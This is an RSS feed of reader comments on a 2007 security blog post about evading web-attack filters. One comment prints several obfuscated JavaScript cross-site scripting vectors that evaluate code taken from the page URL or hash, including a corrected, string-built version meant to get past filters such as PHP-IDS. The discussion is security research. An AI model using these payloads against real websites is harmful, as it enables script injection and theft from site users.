<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: The new dawn of filter evasion</title>
	<atom:link href="http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/</link>
	<description>Information Security Think Tank</description>
	<pubDate>Sun, 23 Nov 2008 15:55:52 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
		<item>
		<title>By: sirdarckcat</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35595</link>
		<dc:creator>sirdarckcat</dc:creator>
		<pubDate>Mon, 16 Jul 2007 01:22:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35595</guid>
		<description>:P no problem .mario, I hope you get better from that flue.

Greetz!!</description>
		<content:encoded><![CDATA[<p>:P no problem .mario, I hope you get better from that flue.</p>
<p>Greetz!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: .mario</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35584</link>
		<dc:creator>.mario</dc:creator>
		<pubDate>Sun, 15 Jul 2007 21:41:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35584</guid>
		<description>Thx for your comment marktwin. Mistakes happen to (most) people and some even learn of them. Few have reached perfection and avoid them and some of those few even share their knowledge to do so - thx again.

Greetings,
.mario</description>
		<content:encoded><![CDATA[<p>Thx for your comment marktwin. Mistakes happen to (most) people and some even learn of them. Few have reached perfection and avoid them and some of those few even share their knowledge to do so - thx again.</p>
<p>Greetings,<br />
.mario</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: marktwin</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35572</link>
		<dc:creator>marktwin</dc:creator>
		<pubDate>Sun, 15 Jul 2007 17:59:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35572</guid>
		<description>Shame on you who don't give credits.

Correctness it the first thing to look at.

d. c. marktwin</description>
		<content:encoded><![CDATA[<p>Shame on you who don&#8217;t give credits.</p>
<p>Correctness it the first thing to look at.</p>
<p>d. c. marktwin</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: .mario</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35459</link>
		<dc:creator>.mario</dc:creator>
		<pubDate>Sat, 14 Jul 2007 08:25:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35459</guid>
		<description>Hi!

Oh man I am sorry - you are perfectly right. We'll fix that asap!!

The vector was you are talking about is from Martin and worked - but I guess the bolg's filter must have cut something. Here's the full version:

http://groups.google.com/group/php-ids/msg/d6e8871d4f7ce1ef

Greetings,
.mario</description>
		<content:encoded><![CDATA[<p>Hi!</p>
<p>Oh man I am sorry - you are perfectly right. We&#8217;ll fix that asap!!</p>
<p>The vector was you are talking about is from Martin and worked - but I guess the bolg&#8217;s filter must have cut something. Here&#8217;s the full version:</p>
<p><a href="http://groups.google.com/group/php-ids/msg/d6e8871d4f7ce1ef" rel="nofollow">http://groups.google.com/group.....1d4f7ce1ef</a></p>
<p>Greetings,<br />
.mario</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35456</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Sat, 14 Jul 2007 07:51:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35456</guid>
		<description>well, I don't know what to say. definitely, we are going to discuss your comments with .mario and see if there is a problem. no worries, there must be some kind of misunderstanding :)

cheers</description>
		<content:encoded><![CDATA[<p>well, I don&#8217;t know what to say. definitely, we are going to discuss your comments with .mario and see if there is a problem. no worries, there must be some kind of misunderstanding :)</p>
<p>cheers</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: sirdarckcat</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35454</link>
		<dc:creator>sirdarckcat</dc:creator>
		<pubDate>Sat, 14 Jul 2007 07:31:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35454</guid>
		<description>:( I'm not in the credits

&lt;a href="http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13326" rel="nofollow"&gt;http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13326&lt;/a&gt;

&lt;pre&gt;&lt;code&gt;eval.call(this,unescape.call(this,location))&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;code:_=eval,__=unescape,___=document.URL,_(__(___)) code:with(location)with(hash)eval(substring(1))&lt;/code&gt;&lt;/pre&gt;

that is from ma1: &lt;a href="http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13366" rel="nofollow"&gt;http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13366&lt;/a&gt;

but based on: &lt;a href="http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13361" rel="nofollow"&gt;http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13361&lt;/a&gt;

and the last vector.. doesn't work:

&lt;pre&gt;&lt;code&gt;l=0&#124;&#124;'str',m= 0&#124;&#124;'sub',x= 0&#124;&#124;'al',y= 0&#124;&#124;'ev',g= 0&#124;&#124;'tion.h',f= 0 &#124;&#124;'ash',k= 0&#124;&#124;'loca',d=(k)+(g)+(f),a&lt;/code&gt;&lt;/pre&gt;

a is not defined.. it should be something like..

&lt;pre&gt;&lt;code&gt;1[(y)+(x)](d)&lt;/code&gt;&lt;/pre&gt;

instead of a like this:

&lt;pre&gt;&lt;code&gt;l=0&#124;&#124;'str',m= 0&#124;&#124;'sub',x= 0&#124;&#124;'al',y= 0&#124;&#124;'ev',g= 0&#124;&#124;'tion.h',f= 0 &#124;&#124;'ash',k= 0&#124;&#124;'loca',d=(k)+(g)+(f),1[(y)+(x)](d)&lt;/code&gt;&lt;/pre&gt;

Greetz!!</description>
		<content:encoded><![CDATA[<p>:( I&#8217;m not in the credits</p>
<p><a href="http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13326" rel="nofollow">http://sla.ckers.org/forum/rea.....#msg-13326</a></p>
<pre><code>eval.call(this,unescape.call(this,location))</code></pre>
<pre><code>code:_=eval,__=unescape,___=document.URL,_(__(___)) code:with(location)with(hash)eval(substring(1))</code></pre>
<p>that is from ma1: <a href="http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13366" rel="nofollow">http://sla.ckers.org/forum/rea.....#msg-13366</a></p>
<p>but based on: <a href="http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13361" rel="nofollow">http://sla.ckers.org/forum/rea.....#msg-13361</a></p>
<p>and the last vector.. doesn&#8217;t work:</p>
<pre><code>l=0||'str',m= 0||'sub',x= 0||'al',y= 0||'ev',g= 0||'tion.h',f= 0 ||'ash',k= 0||'loca',d=(k)+(g)+(f),a</code></pre>
<p>a is not defined.. it should be something like..</p>
<pre><code>1[(y)+(x)](d)</code></pre>
<p>instead of a like this:</p>
<pre><code>l=0||'str',m= 0||'sub',x= 0||'al',y= 0||'ev',g= 0||'tion.h',f= 0 ||'ash',k= 0||'loca',d=(k)+(g)+(f),1[(y)+(x)](d)</code></pre>
<p>Greetz!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: david.kierznowski</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35368</link>
		<dc:creator>david.kierznowski</dc:creator>
		<pubDate>Fri, 13 Jul 2007 10:25:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35368</guid>
		<description>Mario, this article is definately a Saturday morning read :)</description>
		<content:encoded><![CDATA[<p>Mario, this article is definately a Saturday morning read :)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pdp</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comment-35358</link>
		<dc:creator>pdp</dc:creator>
		<pubDate>Fri, 13 Jul 2007 09:08:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion#comment-35358</guid>
		<description>good stuff, quite interesting</description>
		<content:encoded><![CDATA[<p>good stuff, quite interesting</p>
]]></content:encoded>
	</item>
</channel>
</rss>
